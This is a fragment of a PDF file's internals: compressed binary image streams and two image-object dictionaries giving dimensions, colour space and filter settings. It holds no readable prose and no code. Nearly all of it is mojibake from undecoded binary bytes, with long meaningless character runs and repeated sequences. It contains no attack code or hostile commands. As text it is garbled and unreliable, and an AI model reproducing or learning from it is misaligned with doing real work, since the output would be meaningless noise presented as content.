9|8@z\p$uygbbeP.սViYvxJ$)M_6[W_}Z,VuYc QeXZicQhۣcH47QTcDeyhhhbbbl|e׻_]YavLe##|sn\?(E险!a677Jil + t?E!J7l&8<جjm];!De-u]ٖDuCTEMg7n\?<ϷZr^7/v!4nl(q,KXabb?`WۃNt\˵;tƍϳBKFq}@ ]7R c9@Kdvfz*7H<78 +͎FFGyiZ_߻l^"(b1e~wFGjMD q8nrr9j.R"6EUUEaNmBs8]ZҴ6˰TEA#ǞD8uw4!~*q}훣#A}̓o-m%0b&LMMݺyD"{Wv e#^_{睷ZL&7|h4LyЇ`BBCa#ä>fj$Ȏ E(,IDQ j5vvVWW +%mt!bcV[䍍h46>>L&x$8_EdX&N[xT*>|Ⴧ!5:*pQ<4Ml&]766G/=yZT 7DPeaT*eڵ~[,ɉDT"eDIz1Eڶ]*ٕrz\%ca(m]K&jK7rظ?k``@%k߭ q'#trۮT# +(,JAp-E8$dXFA<ckz ZLzaaڵiQˏ<;zq\?N\hX,6==57wmh({_曽=Ӵ(Ik7Ap`QZm˲YEeY8.hD0 4Mk4m]7q\OڭfY6M(@nZyA"ٙiZ;;k;;at8i"wr%art*zJ~ +:ziٺaڎ!q@E 1?ϳ'! +1 0 &b sҒmyh՗ 9^.ojM#H1:9K0F}xgGvS Ð9b D eyFh,(Jm;VKWuB3˰ JF,5l;%`,@tޯa7"B0 0 9UJ !# 1F F|#'4Դq0$ +q,1 :DQ%~9<0eYdj$±iRu0MFcѨ ejZql(,wBB |u˱$X,Ʋ빺۶%\,Y!ZxGk/aGѡ!Y=mj4M!<'luaXCl&Q !@`? ]7t#UU+((f+ BFxEQ&'Ƈdرv\B &d2a[Ǐպ!]@+\]@3n ޹Z +r,mۦEbX"+++bЍ R:!D%'iq//-ee9%q=9~mt3j:fBzr4WvTKB˜XQ:BjX*)/!% +J$F(2Fɤ( +A ڻi aJU;3cFө pfcyyVk|DUUQ1UQ8fff8G \]7e fUɤSjDeYeM/ɉDb~a.; `{{{}}j(F $ɉH$XV( +eahZVTV+l2Nϱ,zԖ1GssxjZTlۦQU rzdfgCC 4=q]0$$}fbCCssfӲ 00ёaQVKouVHd2IsQ1Ftzrr"ȒH866azY֨3B(LOO_(jfhe'^ya54d2=ϲZrCeb4òm0$$AͭjNB!0Dl5b,|&L&̱ cc pz\.[V'Kya8Nu{,4z^,D<,+Ii$ICCCׯ\.R^.䗺r` Dbh"e@6?8%Q 9͎Jb!Ho;g%۷o"o e1ϳѨ:: u 1˜rEk{ccc?瑑Fm#2 px,E#(Xl&BmOwRuLf'?i&}dX,A/۷2{Z-Z˰${۷+O[-#$t^eEU#Uq.&qQYr(eZz4̞Cu$I$<ǵZf, Ȳ,A@R!AEi0$)L(qԻ@K33ӑhMӴ֗61 HFHufS3ljJ,E8CYQK%#úN$`q5M3 ӱ0$,*J%%YB}Z"B3 qtzfffffZv/Mà6&Y@@F}?д< )%&h4L:˜D#\n I .?onlBg0fUZ]]i5[TKGFF~b ˲l>?dDQL< vWvee1Yy©(J*JelX_׿~YJDR{Ax, u1`ab1 rT*)ai:AJ<}뭷fff/J3(ܵР,˚֮VFry_5OUԱ[nr9,Id2EcQE~)r\#!YY]u?jߵb7nܺuKUOtaQUX,>=}Ͷke5ΟͶnq߿g"tݤdR?].˲$#qjzkuPU5JٶocE,s5۲{ٵ,T*=yXɉёx22Pe8r-ݶ%,cyDhaOYUU#Xt/hMqn +uf ڎ~\sssbܯ}E=nX"fnݼXa$"-f|_u +Y8<DjԄ$+r2d2duJbw*KI88Lz}c}}skX,Sw6 0󣣣Sdaņ|>"d*ljt_ޡgl6w?ܜHk忴:BLc,p~8L։_躾[xIX}?HQEUw,b@.j5 +{e۽q799j?\5YQ3l&aK<>ccg'eY:AZ.--moT5Ey睷z1F9Id>EcBS0 aJď #MJ2 dsVkooP(:t"k%wQRح[7DWUUQYI$ҶyOQuino%Id4ږ%r}|7 +*21 DQm0Rr7}blzjw":فYݝOõv6L<_(j4ikk(DTyrr\Qh4(*z_xFbc[ntFͰ C]\(-/V5˶i,fkeeMUt:;:::88'- ah42`Wa@.+ +ҺaD"J",BaڶHHAr.QEIC'b9z7R D, + QmW~1p,'b"ɑCg7=uŪ n ]iq< "I'faVXz\(lhtnvvaa>J[V~$S۷o 0&(Dh4 <2D¶!O+NNDdI6{-Qd2I#BXs<0 AXW0ÐxLPimuCo6["Tx,Ng8e0Xb;! y^HHEqUQYE1 <T4D:mjN홖c۶0]׷w]ilVe{oZf\^(ʺn!aY B"d2|4˥ӥ+[{P0 [Z{mm0sssc#drdxX`Dͬlv߿b 4ےzfsgwORL=i(1 ; DBBpk{ju,VݦofqKJ(9p9Zm]hJsJH <ϳ,\?}Ç{468"A:n`;xtND1  |,,GSkȲ|4'b1QS`npllUvmۍFX,nnn-?]3M+f㪔+kOiм繭V_XYYnMcHuMkB0T$igg{Zl'B8J.!Z@4/ i;;,у^T.;+kkbI7tuQ5 FVը C-8m]/r-7 c(JbU P B5Rl>]^.kZ'~՚0l*`.DDQ`XL<0zmx! S-[]eBjzib ]WZ&\Vi_,޿vS'7MӬjZM36ͧO ,,DGZ4)z<*mA4ZYu qjɓbx?ayiV^ojuC70D/~}2-:.߲,s޾(SE.A뺮yضu;bBBm}mm^?~D^@Fbg;iZ;;tI[k߶A֪j!!fFQo !aH<ߣx㸄?IR_i\ +iADQ˲FRE=?lʪiٱX/m"vRhv!DiҽȲ,{cPcmۺk-4M!*ִKb[r^. +ZRn1FDc!BWwĖ\75ݳD ]_[vw +˲ߴZ# }-ި $IJFZEw%MBOͭBaj]m>|Hkize}mMUZmoze_: #7vw*՚aZ~xji ۩M-8ΨV[[[Ͷm?{N +e3ǵW(h--ߐ.z ! -wQ}Fh4EQ'' Q,U4Mb(J:*0ie0H7t'rh$iA +r}?p]Wk+՚iZ DT57F#ew)zg۶amݰm 38 TY\*aZ&xA$UU%I8iAKl ӲlzX42F#G|qLtݲl~h]UUUU""Kq4=?\ 6 Uo@Ihq2Ͼ\!e9VQ%Q84]m8A"ш( ]4ͱɲ$jDgovqMӢ,B.BgB\ _Q(A;mz]SFHD'ut6cבG=߸q\˲\9_~eXi Y;A_Bj0C' kJ8#I"+,ڶ]:WyHu3zAĎg! f㩁F0DzH+{Μor\oiAHga +@p>4ty~6K+n"n nv@QTUu`` kzaur Dс)z[j4HU\6drt;{e[i[cX>Wuv[++i 9e9R)YQ +}0і3B^״mYAEs\D&kZx:cia8ۗ#TU bae۞]!}C#)N %7H^[iy{`8?!2+$﹇+3g=2\< ?~p1lg +iWd'9A$OD#"yp ,x>!=y6Ϸ3@K|?P>?~ ?X{'nw?h;,,>w>#&w?)vN>9cޯ-nO?|jz!tֹ!͓vlxxɸO(wm'{Ňw;GŇ[]'\u֖a-g2)|K^@H\[$HP>?'4B]Zw嵩?BzoK~?YP}k*}2ipzEw>F?z|>n~ko{|ׇ|tdx'[N>@Hy1!=M$?4=d< )<7"yBy'lZw˧GBe?7|>N'Z>ٝ;ިvc.>s4=HozߟZ o<~QڝB]6Ba?; +޻k4G] C :Q#"do!r!BID3m|v B +帐Od!CtЫpJYDq/>9x!@HB +8@vv8Ooqs^O@HB +ҫx^  X>;ހ%.9 W8S@K-8D@KH +endstream +endobj +2267 0 obj +<< +/Filter /FlateDecode +/Type /XObject +/Subtype /Image +/DecodeParms << +/Predictor 15 +/Columns 1207 +>> +/Width 1207 +/Height 531 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 1755 +>> +stream +xA 0C/U,;o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5P[@o5% +endstream +endobj +2268 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 1207 +/Height 406 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 1207 +/Colors 3 +>> +/SMask 2269 0 R +/Length 98634 +>> +stream +xsWs|}@,@Ap7LJU՝==3ivYYSP@>ukνfwέRU*3Rjw ľy~}p,A("AdA;P( +BP( +z P( +BP( Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9}C !:(e/@rZBJpR('o*d%0Ƣ(b(0~_l Jx5EgRʩ )դR +])ǁVl I9!PN+TH)ηүK$@|ic|/|uL^ݕS(_ R +CB9|;!}X"!S'CVR('S#WzʓvBL=N &B9t B9!O))!=G9|;!}IS(s +r9B +! SPN-CH1&VSN)BHODBy"C'C9! +))!BwǷW遦}~mS˖BPN!f'}9q +r8WԢ!;@B9)(υ.{~ +}JA!E(OP(\*L +By%gU)ҭBnDS +B>8V CubFvu\?c{EM#.-''sa_Nz(Wތ'(S!Hsia<٠|G-QRrNeY,jYGuBeaLOo ,ò zܜ$`-&yr:N0`MUUQU0#"B9t:-Ŏ[ݟ!dVoByVl x<V)W*,r +!8.~a;NVt:Ot,v< 8’,Zfn,a!p:p"" +j.nV]~rYj:eYx^tq !Al5@ A^^9(VjmY ]c(/K&V1_av[T5@sAyz=h;ceijjz45`S+>XdQ\.ò̓2;T*7}?zD2Ĵb.k5[a,IA}>_0p],BVh(vJ^L)XFcce{G !IRZT*VKQ4[2, +#Éx㘮rݽiY^(j~cmm˲l8v\Jucslز:BO  "B2eIVRVo*x hrFi&wGox8J`Cu#vJv^, d6!MӶw>fs` ɩ4xaaq}}_N<3 D3g.?ۗ2t}m}֗[m tfNL;[nu(=^_0  I$/_p wn.+K7_2|$`˒e\ݿ?;w͛:hjTM$]}~1õ!ZǠ̙ɉDf#/GC9! ab]0 FL0|ҵk2},z{S"-ZMU3۴_7R\y?JRɉIáj,N4 | Ot 1EryuuVx>9s!fk;[VLCFW\y7jUu`(72:xzTUm~~B{ D?ؗM%eEQ!g\[*% Y e|>OZV*50!olK˲g! eΟ;~wWVZ\3Sׯ_QÇf;]rj ڵj27 +!th4:{nz (9C0` d9xYQomm˲ 5MZlg5M{4L-vw'&'bh/etPx|?v8667MB ---ys LN L;-1 0B@qqH{g7uaT*[ +=mX[H-xV"2P(LY__w8Xlbbr~n~kc[S @_UsRG|8wojʹ0Br|b__jbblvښxkW.˥?}JݶO]:99yJgu]}=@/Ҳc##ÓKKZv}Pvϲl4jyuu񍌌 Ŏz,vT2yũ1ǽ0?_];0Bf27o\ti^/8( t/599f֟fu[nnCnl6U}<4zpt:HA˙Fm;!2WvG&@nbH__ooo2Jtg ho[eY>rhZN#HIדm?=Ey/B@fKt4*XI沷n\F}}p-K}O>#앰BTUew>lnnt9F$H%>q GLN&뿾?7 +Ap*R45 D#jtz\nAXo`7><<466\5)oˬF:d*O#o~ŭp'T_*UM2Ug[xDxD0h5 }I6W0=O'2|pBD" +ڢ,NGg`,;d21992/ۛJ:/bqi\}BbFGG&'GGGKJaڭ9 "N2M(vvbt BݮzXQZ^m5ŃӃ.C~X__\̪f_2bxlnommmmyM3pW?S(/$IV ^ymGɾH8<_$ C[Ӵb^*WeJ9ܮTjL$鉹nU5bx"r:%I-՚bYVRl:},mzX}Z1&:7]%=dz, KR\*U*u}*>N7?J }emll=CC޾T._=p ![a@1ƆaiY2-"@דH]nw.]\Z*veI6؈eb7n\zpt! B˲Nnss'YZ^o4,L^^ +! 麾Ӗ@`tpp`k+>l.a{k@}Dbn !AF.N$ +pxw +k0Ɗdsb`[63 e*j8 >1.jVKeC7H Dtz^:\.W*E9g3MSl|\.OLp8[e4_!ML xaUU;lZvG"!h\l~.bT.WʣP( ;iZ12-c410 ceY` IJ,0 Tt7-sssskkQA:7}cuceY # LNMTkUeB /iE"DC{vR,WK(I7䲅ʲ㋄„"AM)i:>0jzRU5=r&8]taPVm6ftKz- an@0-4MV`}ѣ~>M˒e4zl ]BLQۢ(ɲ۝6yD }}himnnmooRcKN۝ XpN3T*F (E0xt:RPTwg0 ,"NG0p B\١@<N$݂P +R+r|0@ݻ[eY4 +ɲ;#j zELsw9;=1<<ח w 'DӴlB`NTŎjE'e0$ITPg0*j*Xx!J6MF{{{nw*hzwL&ku$ xΜFVNI& ^r%{+n_>?d׷6WWWwvvDQ4 4pҭD X2Ufjp}}}X,J۵=ɉ[6ĮK|Ν@<00uU1&< 1.XUWWW\"K;ۅ.uP^Q n7H!ryPh6 BpT6 {&״eYc!&Ʀecfdo #/Q;j6SDOO$GC0eyii9 ,;::כHć2ӹ|]Y],v==$bYeǓ~-2- ,˰ +:EB&Y 033ۛVd`zݵZwܭH8Y6<ұ,6B1>]D`oo*VVVjժZZӽDbtl4u:!-qtjbb2%R/ܽwoyeߕƨR(';kԲ,1y!Ν4 tMwvvD[TqQKfN%Sh$*<{b>ժe0Xvj_p'a t8H$vVQt:!/\8?<<|$PӴIlw ?rnf*՛j +Ņ孭v[3Y's f2xBR.R'jJ%d2F}S {jjjppО!`YvV.tG !K8Zbg`ñ(Jawwmu}h0 +EfΞ]Uk4@yEaY ' aNl6eٞX?ݗ(Q@E{89,:GZunn~`p````zzݻbi{`ֶ*)H$ϟP~g_ݾh4|Jأ{]de#%sfo_B˅cWXn1} :#a@ڿ`0$=FY.UEi5CDbR4a|cZ;;==11=T_̙sGsZ㦜46sG +YaPAȎm <Mղ;ٝ3h,z=b=1v>_h6Ze,s^uN"rY]]{NVӞ6Txq! <2 ":nU6ϤzC=391624}f/&I*V|yV+"KpD&'z{,v{8,Lnnn_kV ۳4xח$IpJǝڶ$'bVVwիW2CBq'PN:bc#dL?uL"DI^eD">svjuuQK)clNs{`luC,˪_ݾ;2:۟Hmg;&DUNj?x0J&`o__2~3 ,|H06M[!$<my9iZw᧢= ; J[o92|<$PŕյNG6Mp8rٹO?Ld7P`"˚a$ɲVNvC_ƛGcѹnɠVs)B X,2}}))aN' gMo;SejZ(v6[ @`jr<qmY$Ɇa\@0 DLs8u9!Ek6:#kFRY][[X9;1::4}( +,ˆ¡P(z[  8@avzzzz{{UU.MB1 tk!BБjǃ@O,$I, Dxtv q`8|#L["ﷺ9H +=tXԑNRZzM#H,y^ Yuy!CR +B>Bt,4 كtX#DӴv[[mQQYfm cшCRj +Bx!^@|~_0`YN%#5aB@<C j6duU5VV6eYvƷeatM$(bՖ5Eb1xi)?(^!bXY(bN$=˭iZ>_ViQ1eu:RެVޓWd񴽨bi{g/ݗHć2(Nainw;FqZ]\\n6P(sW}>_:D#\.!)Z.u#{!3 B0v:M[NъϞ;HD}~1o7^%x<>99zR6o4 @x;VĎHf3 X%1S1B/ B IJ ,KREQp8288mZcB Æ¡ёh8tJ*ɲ?>r]IW?M$fq#𱹪ʓ/#La7J&cssnY?tA9>>699vFWVkJq9]h7eK1&ۓ68/8dI#0П>35TU-+jBkk93J$FGMAAc;c1p=@8r4-]7 Ӕ$RX48<<<99jFٴ D4|>W,%IV~.<+DZNWBzyA@klڻjLMMJuie{zbCL2d\Gf96L\\.խY <'S񡡡{Z0, shC9̲lYevuҧyBza|>o__Vov:9;l|lDpFT>h7M%FcH1&Vv.aVխ /D$RILpT* GFߕ([[[|pwJlTuI3KM+ҝhcNVkb[y.^"GcHBƟ?')Dr%A~7UU9^k~To\x0e@?00 "@-KVv d\p,3nϲ0ء޾sb[TE4WWWGGG}.]r:ha !9a` o'vkݺ^!4nqii)wid&3$z2y^(n00DD20Mù߶sG +xJSSK+UD"~H8bv^*UVWWk#ãcccFyd5Mj /yʱl*{k}E/D#aUU媬m[XX鉅C7nz<|( +@xxOL;Kkk$}:ˎvBoxx@?s,A!/wbb&!{s~8!nomnݿ0=W.\NϱVhhBn+Kـ,FRdzZ}uu}eymX1M@78NH$T"F"1ma4MMhKSݭ:iyi#VfDx0{֝\`bK3d(/ +熆2@@QT+)rjZPϜǹsg3CI4M +덖$v"O-v:aꘘ)ˊ$K87wnTR^v`Z}vRao`˴TMmZ|nuu}}}j jc znf0n +/`stteB嗷VW7rz¢ؙ[t8 +aaL4U-LQ0a˫^'r/ @hVչyB f-ôdEr^rMnn'Inaaaayyܠp8!8fcBLːe\lllnllUU#4ͻw5ᡡ@ q{˲dI J0 e["B40w/j70L._xp֎Jr!Xng6چVdYV^\\xB(IIN f^T ]UMZ]]m6KK=0]vXJ]VijWsj B|^e5Um۲,!x$IE0}>fYAX쇿ۖe9nqGfg,ɊjG#xN8!iI$v:؊½8Ǎ1nۢ9l@Yz@q#;RQoޥj[f>/s@H1ƶυ:ӉuCU]?s PxŲ몪Y)CxR9%0 EQt]DŽ]7xw8<ϳ,cwk]6| 2v~Cyc(hpnt`BTUUdYu-Ne#m0ƆfFN&˲tM4Mt00MB\"8cFkgNM?*)1cY^gY;Hniح0 p 0 S2,ñ,Ȳ,4` 4a2 O˲96`,B-lYbX[^wbB,*[Hyg٣oeYBq$ +!>ݛIݯ<~!O_ճ#5>[iw wW]G>ӆ}Ǖ>ûɞ ϴ=Ny"LwӦav& 4#z쩾( Pȟ#G3uga@m߶a@# n)z&J;%~ 7Y3CVJs<庞u]O;3Y^Cp"\D'̔)NuQ( +yAL<,=Q<8{{w9Bc%@BS_ߚ}< 7{#4yR8eP^()gPGNDB<2O0)R(WJ|y|C* a +YP('Z^Nt*Y//TB=( +B<;TR(]JVK>3(IP( +By^voImAyձ3h^ݑTH)* +)r.BL=N>>(n%URN%TH)R +D[N!۹BerjWƦBJ9P!PN8TH)ηgx +B9SsKS!VN-MrZ954Ri[ 㔺U(SpcS!nNMr976RKP(/* +)r¡BJІ +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9Z +BP( +B9ZϙP}_tB, +$yDX)|vyT7GEzWP|VseW7CG{ +dAeByd2? )vb{(}Lr?8{f?xKώ o98WJubxxaǼ*ʷgً3w@ +MןI"RP9wߓd#ğo~Iug=ۓ{QN&+V|v**'j%>76Vl_!/;/G?8&ѡ_05bN-7@EBF%z){`GdgQP1닶`t9V,3C닇o<~**'j%>/~_doȀnό=}^PN1H6ʃLg_aR(߄3gW;nyI<3?}7g};.C7yTTlO J|Nw@Ƿ\6nXg~w4N acht oJ|gf~nfc}Đ&0w3/,O +cq`O0iů5FNE$~;u~㫢P^}A6Y /xuoJ|#2x l ?/_&_߽~`XQNRPnLϮs<6~w.ة &7g){p̯>y@PR('*+ 8A_"]hbaEQQ(' a~.Amjk8zam*)R ^ײ,I)S&tK9}|!}&+BJ=$\-1P)!*SȩRDSʷүK$Lr* _ݛ1&U]?NLD) PN+NHA]"rEP(* )A) )qJA-6 +BB9!%ZɷRj%R~P ]W =fR('* [+b%^iWؾ=ܿ=** +)rvB%^|g> Aa7) +BPw^+mT/{)ߎ- /P( +Byq85h)/heS^qNA+y9?U{/9}+"\T0)g1/4RM{ +p֫W LN!$fo׾Fvu'¾hc #-yƛq\O*+WK3l Z"XG @1a!:@뺎1~\Br,c0L|g#W*5&)'w+b !$X}!zByݿYB^+zle%`yKe'[?&eBBc~?p{V'}J:_gˑO0!1u}˅ ڧ?riE>FߎARG9xʩv?$(M7kr~k/p8xGJIVWWƑ*˲X7 Q-hYG{r,zx>1&UJb^0r;ZaϗH$<jZjЇ! ѨuVe]ןG| \NW y^SV[%cm8Nr +aNGMܓͨE#HĴZh4%YŲD#haQZ-+RG6 {Ge0 FcQّ:buczN#vd4zV#b01w]nv +8֥(b:9v9^_ p:EQ[f[%IR0}6˲.3 +ĢQa*+$I07 8Nۅ$IӴʤBȰ r,, iXcݴL rLS;"-!@yz<ϙ;8e9 hXՌ'9/B<Dz,ꦹwc0 ,!eEaYep_iC7,laq8xu:=!XlnYgYGׄ^$†iY;!DzAKx"Xeibq/+W +=eleZGʲCAy"jg ^7\BraTUm6X,z^p:.=ebI[͖$Ieqt= VlKB w\"WuUUwU rbѰCp@cV!c"R^4]>q,--0YHEQMS .q eތ 0tZkt:ˢZ{$ZnJ^8nt,{Gs5#;Eww~vOԻw87(d? Ϟ>p$~qeYrO?9{Z?> 1-s\?W?|`G2BnsoVf0]-|gi8B9p{ƵH$ݽ*wr;svzp -K{-t"x&Ǯ]{-5MskskvvnaqjwKB( ^tizL󝝜ic|||f%,,./5 SdGjG! >x=>Vo>{87W.w@h_y=^u:FJ-̰L89{ffL25/ @nsg9wÇ xT*u`W.ٜj,ۗM&TUYXXZZYΌOVyeq|2xbo*٨W?lԙ`_,>rB^wjj||l`vneeUd[3  /] ]Z\H@zbr4 +2 Ľ^,VܽXȰ$iccs~~1+}9b.\Hڭ'|b赫ӽ1k&` !rX^*veIx'O9ijmwOL g.a\*WֲJ$édyW!˥ҿۿvK_5X{E"l.{MEQ?tNNN;7Mq,}0(qν ME'?0F.A&ݻW֣+[;}i.<Bq\:L,etC7>bO$LNzCs@. ;zkeY`4u ڛӲ*,I 9Vb7chpwk{{SN@<b ún rF:L&sʕWC4^wY/*J4-" .^ӱH$tl[Ly A%wl(߲,IDQ ##Y7f,>{ϳݮժ볡PN,v+L>+\޶cT*uڵ׮\l6Ktpe~:,k{;xzGu]?x J~n޼C:1Hrٲq,\q'x2յu-[J*;8+J$ߘ>3]++Q+d"qW/;BXe!aA\N7Mяnܼ18؏2 [1eX]WWdeYq:o֛oH$rӮ"B355N'ovG0>Lbo~?07𡢪rESW8ɏ|V)+躖d[lZ-}+B|2|7ϟ;[,z3.,.ǷpҥK5&O._Pղ,935^pR., of(3q,8H:$y~~Ze&&'ͥK>,+sxAd\i3d7f7wvvm^_kWaZ&v0iJg_|'Yͫn^m&Zݾk׮7 cozc h~g]0=nPʕ+7n\w9$Ln}u[zNakH$rBv'=H<.]<>1s,M.&-Nk{;m 9{Ցx3(`A=q$n=! D|p8 wZCcysF ݓn# %8Bp82qnfJ\.{|>yxn˲nXdY4 /7>9[,s( E>3!0n*R.;ybh$ [jTTeYyx^PMQ#]7TU3 `t8>t$Qhag2 #|OO$ +Е$ʲ:44H&YVTU=yD0iۦa-H'S*:T0D#XTS|~h=ʒ\-Iygff~vtJi~*1M37[m@pBD"ypF"UQs(vL<@`UU %E ==1U)WsrP0 Gժv7|_ji*/uPm#Ɣɵ! oVK~yT؄]+ +EۈAPpff*f?LRC}};I&2 NGF'W>hvEB4-USUEu\x;غ_B$IZZXHc禷WkjXds>xTխbkCIa D~#!r\`XcccDbldtksKeU! {<@pXH^!`Ė bam5{Tm}}][_~Ű a0xoz޽џ\,"ʲ\ExtѸsQ*!t:TʕK] \p!5- @i(vd?}MkAy*7Hþˈy7_8חd Ŋm[U.?䳅VuhA1۝MQrѼ{01(^|s;wׅ nܸכ*_}u{uu]SfR><#/) +!d @t B2|>% `@`f7nܼy#e;_}ugqyh枕HlŒiBvཇ:! p{'>X_ߐeݓiFP(@@w>fmWW_w7\yʥ{bkav$Ilؤ\sZDzzbᇋK$lA #e.+LBa֭۽P(J&'NX֭=t\QkZ\npN{YT?x?L&3>>Ɋ69>>>>xwv޻t]#,|N "g"BOZsxO,-|`0BlX4;m0 ,˙.7=^qa1 xD(i K. ByQ.˥}E kϳٜiZ@02X7 <٧ǍZ{"ޱLf0JmY4ukk{mmcpp(H鑑ឞ{S5SN /UH>ܝ&_-j_By ΟqF,/n߾[7ȘYV?ӟsp Xe!T*?p{|.]c]Mkµzwn߱I%Djl|Xr +0ƢؾaX! ˒}鬬~kkGM3@:WK_uiiU4BZ];pbmO.kDLl5w5L~ޛ 1 0 ӗ f>' EUQ1&%e:l~IJF(34M08^LdY.sjeb;n"@vnXOV޺u_EV#˲t]7 WJD/D.Ӳrb4-AuO@Jl 㣣`nmom4g'z{{M fY I$W\Queu#7fXVͭ熆lБ w-/6mlu9wHPPx +Yr=Ύpݓtе|p7ٳ(m fXzn^O$x0v{sk+HNw|[!"{8 >Xqr67;[\,W*(PrM7:~Łd&38::Rԛ6Վ/AD@)/.S7NCX=^B!a9tLdjrc#|?rU7-h(6+d dL- KA0v I%==d<vUhSG{8`@ e`{ _"/ !` AfGRt|wwnY]h;cǞfN.h 8 +}ЍC,R$jyt+984VKAt +xR $A:\XȒK4-E;j! 4uY c7[@,ñ\6}`vmeV&>\2ElVb{"@=nWgYX 0 !N#JƢQcRڑdBa,;35w76֫i]U@@Ғ阘4>6֛J^~=/,..mJJVŎA1MVk,b뭖"3S.cqa%]78PD|B/ ˲Ph|lVV' cha{@'&&brB;;Ku>%clH J$0^@4l niYVV}:-8AX7M]NG:3((<9̮(& 3d2333sˢ(' +RN&{_֧ D"Ɉb`[te3L7;o_xB嗷VVVEF]B x`(=jY(|R~Ha&'GS˗76Z9GV0t{@@ߟH$gY֪bD"8u@0P!0LUS"qp\~yU0N$Nq| z<AUUEQT̰x +, K*GK)߀p}fy}V۴L2-StjE/ XQNe=q^e1fuM%t`bEQUk BB0s{<! g2XaY˲LD9x W*nAu3%kfYX!  +~_aZ,o0ƂCH&SSN{gg{}}CVd0|T*ɉE4,zbkW/Gw}[snaBTUڙ}8<2 Y*WVDQnA2P(;H@@X4 ͍z0\Ti4Zhpddx``\i<^C0QTT*UU;8867^7TU(Aim`Xai [e]c`!0kK01u#߻wwx( %=jH s ^G}x}tl\+r'ӂ7q!z=W._J>̙@ǟ-,5[!BqOXV&j^-|uvXC@0M^/..Mkkkc07˿xw]7@#OLNbKzBkdB*4k٭탬 +7== VkPO,v[t0M˲,L0xOƍ˱_@ѼszݡlgCA}ƍ7I?3A%4MlO2_%L& 0@i +0 Be`t:pALEѴL"A]4Mwe>wCy~oh8HŶؑXyG#W*D<2>>1:2*@ ]ڼp|<<H$鈻Œh/vp3jc:$`B+'d">>6/XW%x+Bql"BibB~B *Fϝ;7 !8Nj2\"=11>41V8IJBV}$Q''Ɔ2HdhhpqqT*?E3,L|0 {b8nIs\v˗.`LG hrT:@ p12A!B`՜{8 +to!˲==џ +B0\Nפbnwυrxj'b|>C0Bhۺ-/ȲIJ bh9{bWE2~dP yV B~Z+jW_*OL|ޱx<1XqNg^[QTݎR0ކ:=^ϖ^2~<˲ Ӵ= tex655v;16,D߷)"~f>OIC}1G)4M+KK+L&]|iuu[Nå)O¸Tk(A^/ G;}~btOS0VT2qw7!DNSV%IKQTeg';'VQTKJKbG[/>@0d9˶[-{)r^'BϯWj Eiz\n4nr37 #5M4.uZ}eyuvv[8,! +/pā8~*"4MKrB[EY^^j,` POw3+ ~5~V][[qjJ–zlh4 !T*+++lnye{l^QB^rg/Bx j,cby0 Bch6?w"cOO"vΜr\ze9 𺮍 e4ݲf)ʲHxttG?z7~ޮF=22ıpsss}}ZPr: 躱?|`v^;`t8Μ}MMכTJ=zQLrfsfteuN> pnaph( + +MY2,o޼y^[,nK7w=h40!$wwEQ +z{sKDd?T(;b'[4 +~G O_;zWy뺑_޿weZeYbh4R;ic <6svǿQ4[$IF{^˲jNxB8(W*٭[_eZeF0LӲ, @A${~yV+G{ !(j M\.z[Վ(I"4hzy.38G Ck4z)Bq]066>:xv^{2ݒclBEUxgI:p|텘f(ɡF!Er e6ͭfS33-ӲĎf2dD@le !(IMNMN43N\V(j0J$zNkjRh-^!A b^5a'{$k*8`0yC뜌 t8"eYiUdY^]X]]?;s6OT5pSiJ iV*չO?r_X e#B0L2M0," 2 #<0@ p=0~ձ$Quyi $驙bӑfg$0iz>_viyYULJHB8{hrt_bttxggGLdZ|Ԕf;b[&""H0 eb$Kn.K;eo[*`Y%I^__ׯ:PJEl]7[mQB/N8Y֚ÇsvBO4a c&&_,gggw'zL#h4ؿJ :q:(uYpӴnBqG"Iy`]eYt1;rR}}g4rbO;9>qLnX*U$Yx$9b[깙3f XBcn)A)Ø <ϟqZZeYUUjZĖs;9zn8I@9u]>["mav`mXr,/!HW -Sd0.+VC[ش;8y Vл!8yۑFۉcUUJRs]p`dxٳrR)JN ЛvZE\2ixq0Ku0 jg}  +h8N'?k4iX Sc<ϖv;REAL";هWWM;]NWZOÙjpبؿHxܙH$(unZWP07zzbMJ kk_ݾhMz*)W H~}-rLLYpn_{7@NȰ;wn'ۛX[K !)kk}}decYTlgi/yL&sv^մRVL b%Iڞ_7_aR(UCTwfl8j l^Q5Ǯxۯw^f0&''N'/vDUL(O@:cY,]C~D6vm̥Kzb1YV(JaT!x2덆ԑHWÑJ%''=Š굎YV^_XX"h||…sNΙh4 ZoܸnYda~jYeR)gUUm6[ߴ;!`Y6_x(zƲpJl',E_{J8|]7Fnnne2^k>oT*~U0n6[z^0==ׯZ5Y:ieulB!xOի%=`ZVT\^ZdnE^t]o@(JڕJ֑blz.Fpʥ+ Œq-.-MӨxX⋏`f!=;=d2}G!"y/rw[_2t3CYy2 P(noT*533p:]{`Џh4Εe0B 